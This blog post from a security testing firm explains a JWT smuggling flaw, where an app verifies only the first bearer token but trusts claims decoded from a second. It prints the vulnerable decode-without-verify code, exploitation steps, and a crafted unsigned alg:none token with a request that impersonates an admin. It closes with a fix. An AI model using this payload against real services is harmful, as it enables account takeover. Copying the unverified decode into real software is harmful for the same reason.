Strange behaviours when presenting multiple JWTs
16 Aug 2024 - Proactive Labs
tldr: Presenting multiple JWT tokens in the same request shouldn’t work - until it does!
This is a small post on a recent pattern we’ve observed while performing assessments; where an application accepts multiple JWTs, but due to parsing issues will only validate the first, and accept arbitrary claims in a smuggled second JWT.
Background
JSON Web Tokens (JWTs) were originally defined in RFC 7519, and describes an encoded Json object, which represents claims between systems - usually for authentication and authorisation.
A sample JWT is shown below, noting the three distinct segments:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQcm9hY3RpdmVMYWJzIiwiaWF0IjoxNzIwNTgzNTMzLCJleHAiOjE3NTIxMTk1MzMsImF1ZCI6ImFwaS5wcm9hY3RpdmVsYWJzLmNvbSIsInN1YiI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCIsIkdpdmVuTmFtZSI6Ik1hdHQiLCJFbWFpbCI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCJ9.WGg3EXZwX-cMTwZ4hWgmC6bSh0cmXQzcAa6s68aZs7c
The segments are separated by a single full stop (‘.’) character, and are Base64 encoded. The first segment describes a JOSE header, the second a set of claims, and the final segment is generally the signature. The above claim can be decoded and interpreted as follows:
// First segment / JOSE header
{
"alg": "HS256", // MAC was performed with SHA-256
"typ": "JWT" //This is a JWT
}
// JWT Claims set
// It should be noted that some fields are standardised
// but developers are free to add their own
{
"iat": 1720583533, // Issued at - used to tell when the token was made
"exp": 1752119533, // Expires - When the token is no longer valid
"aud": "api.proactivelabs.com",
"sub": "matt@proactivelabs.local",
"GivenName": "Matt", // Given name - arbitrary field, made for a user named "Matt"
"Email": "matt@proactivelabs.local" // Email address, arbitrary field describing the user
}
// The final segment is opaque, and has not been decoded
// But is MAC'd using SHA256.
// This example used the secret key of "123456"
Expected usage
Generally - You’d expect to see a web application use JWTs in a HTTP header, such as the Authorization header, shown below:
GET /api/notreal/noreally/whoami HTTP/1.1
Host: proactivelabs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: en-GB,en;q=0.5
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQcm9hY3RpdmVMYWJzIiwiaWF0IjoxNzIwNTgzNTMzLCJleHAiOjE3NTIxMTk1MzMsImF1ZCI6ImFwaS5wcm9hY3RpdmVsYWJzLmNvbSIsInN1YiI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCIsIkdpdmVuTmFtZSI6Ik1hdHQiLCJFbWFpbCI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCJ9.WGg3EXZwX-cMTwZ4hWgmC6bSh0cmXQzcAa6s68aZs7c
Connection: keep-alive
The above uses the same JWT as previously described, except is prefixed with the Bearer prefix.
This was paired with a response from the API server, as shown below:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"user": "matt@proactivelabs.local"}
Unexpected usage
While testing an applications authentication mechanisms, we made a request with two bearer tokens within the same field, as shown below:
GET /api/notreal/noreally/whoami HTTP/1.1
Host: proactivelabs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: en-GB,en;q=0.5
Content-Type: application/json
Authorization: bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQcm9hY3RpdmVMYWJzIiwiaWF0IjoxNzIwNTgzNTMzLCJleHAiOjE3NTIxMTk1MzMsImF1ZCI6ImFwaS5wcm9hY3RpdmVsYWJzLmNvbSIsInN1YiI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCIsIkdpdmVuTmFtZSI6Ik1hdHQiLCJFbWFpbCI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCJ9.WGg3EXZwX-cMTwZ4hWgmC6bSh0cmXQzcAa6s68aZs7c \
bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQcm9hY3RpdmVMYWJzIiwiaWF0IjoxNzIwNTgzNTMzLCJleHAiOjE3NTIxMTk1MzMsImF1ZCI6ImFwaS5wcm9hY3RpdmVsYWJzLmNvbSIsInN1YiI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCIsIkdpdmVuTmFtZSI6Ik1hdHQiLCJFbWFpbCI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCJ9.WGg3EXZwX-cMTwZ4hWgmC6bSh0cmXQzcAa6s68aZs7c
Connection: keep-alive
Note the newline was inserted only for readability - the actual request had one line for the Authorization header. This request surprisingly returned a HTTP 200, indicating the duplicate bearer tokens were not rejected, and returned the same result as previously.
Some may recognise this theme of testing as HTTP Parameter Pollution, which was initially tested with multiple Authorization headers, however this was rejected by the application. Our work follows this theme, except instead we explore when applications accept multiple Bearer tokens.
Unexpected Behaviour
In summary - we observed the following:
- JWT parsing appeared to work normally, unsigned (or modified) requests did not validate, and would return authorisation errors.
- Multiple Authorization headers would return authorisation errors.
- Multiple “Bearer”, or any data after the first bearer token would be allowed through, and not produce authorisation errors.
We also observed that toggling the capitalisation of the “b” in “Bearer” would produce different results:
- bearer (lowercase) - broken request
- BEARER (all uppercase) - broken request
- Bearer Bearer (uppercase, uppercase) - broken request
- bearer Bearer (uppercase, lowercase) - working request
- bearer bearer (lowercase, lowercase) - broken request
- bearer (lowercase) - working request
On further exploration, the order of valid/invalid JWTs and capitalisation seemed to have an effect:
- bearer (lowercase, valid) - Working request
- bearer bearer (lowercase and modified, lowercase and unmodified) - Broken request
As above, these behaviours indicated something was order dependant, but a very weird set of (exploitable) behaviours.
Digging deeper
After more digging, we realised this behaviour came down to the following:
- Passportjs, using
passport-jwt checks for a
“bearer” token, extract, and continue.
- This is case insensitive.
- …and extracts the first “bearer” with a simple regex.
- A custom bit of code to determine user privileges in claims, which would look for a lowercase bearer, then decode (not verify!) the claim for groups.
The former explained why, as long as a valid JWT was first in the chain, the application would have a better chance of passing the request - as it would only validate this claim.
The latter explained why a lowercase “bearer” token was always required by the application!
As the latter decodes, but does not verify the claim, this means a smuggled, unsigned (or modified) claim would be accepted and trusted by the application - as long as the first JWT claim was valid.
Decode vs verify
Ultimately, the fun part came down to a single function; roughly of the following form:
import {jwt_decode} from "jwt-decode";
public getEmail(request: Request): string {
// ...snipped for brevity
const token = request.headers.authorization.split("bearer ")[1];
const decoded: any = jwt_decode(token);
const userEmail = decoded[`/claims/email`];
return userEmail;
}
We can make the following observations:
- jwt-decode is used for parsing.
- This is using decode, which does not check if the signature is valid.
- The authors may have intended to use something like jsonwebtoken’s verify function, which would ensure only JWTs signed by a trusted authority would work.
The obvious vulnerability here is an attacker providing a JWT with a different users email address, which would allow them to masquerade as other users.
Again, presenting a malicious JWT here will let you masquerade as other users.
Exploitation
Furthermore, consider the following:
- Although passport checks for a (case insensitive) bearer, this is only used to
check if a user has a valid claim. That is to say, the following are checked:
- Is the signature valid?
- Is the signature still current? (i.e. not expired)
- Does the audience match what it should?
So our conditions for exploitation are fairly straightforward:
- Have a regular, valid account, and obtain a valid JWT.
- Craft a new JWT with a user you want to masquerade as.
- Have an uppercase BEARER at the front of the auth header (or anything other than “bearer”)
- Have the crafted JWT appended after the first legitimate BEARER, with a lowercase “bearer”.
Demonstration
Following the steps from above, we have the following two JWT pairs:
- Our original claim (signed and valid)
- a modified claim to append.
The modified (and decoded) claim is shown below:
{
"alg": "none",
"typ": "JWT"
}
{
"iss": "ProactiveLabs",
"iat": 1720583533,
"exp": 1752119533,
"aud": "api.proactivelabs.com",
"sub": "admin@proactivelabs.local",
"GivenName": "Matt",
"Email": "admin@proactivelabs.local"
}
Appending the two claims results in the following request:
GET /api/notreal/noreally/whoami HTTP/1.1
Host: proactivelabs.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: en-GB,en;q=0.5
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJQcm9hY3RpdmVMYWJzIiwiaWF0IjoxNzIwNTgzNTMzLCJleHAiOjE3NTIxMTk1MzMsImF1ZCI6ImFwaS5wcm9hY3RpdmVsYWJzLmNvbSIsInN1YiI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCIsIkdpdmVuTmFtZSI6Ik1hdHQiLCJFbWFpbCI6Im1hdHRAcHJvYWN0aXZlbGFicy5sb2NhbCJ9.WGg3EXZwX-cMTwZ4hWgmC6bSh0cmXQzcAa6s68aZs7c bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJQcm9hY3RpdmVMYWJzIiwiaWF0IjoxNzIwNTgzNTMzLCJleHAiOjE3NTIxMTk1MzMsImF1ZCI6ImFwaS5wcm9hY3RpdmVsYWJzLmNvbSIsInN1YiI6ImFkbWluQHByb2FjdGl2ZWxhYnMubG9jYWwiLCJHaXZlbk5hbWUiOiJNYXR0IiwiRW1haWwiOiJhZG1pbkBwcm9hY3RpdmVsYWJzLmxvY2FsIn0.
Connection: keep-alive
Which returned the following response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"user": "admin@proactivelabs.local"}
Indicating we have successfully masqueraded as another user in our target app!
Follow up
The issue stems from the developers assumptions around the providence of the JWT token - initially, it wasn’t clear (from the outside, at least) as to why this application was behaving in this fashion. The assumption was around the token being pre verified, as the developers presumed the execution flow would have been dropped before reaching this point; however, this was proven to not be true due to the difference in parsers.
The key takeaway here is to verify JWTs, instead of simply decoding them - following our example from previously, this would have involved a change from jwt_decode to using the jsonwebtoken library’s verify function.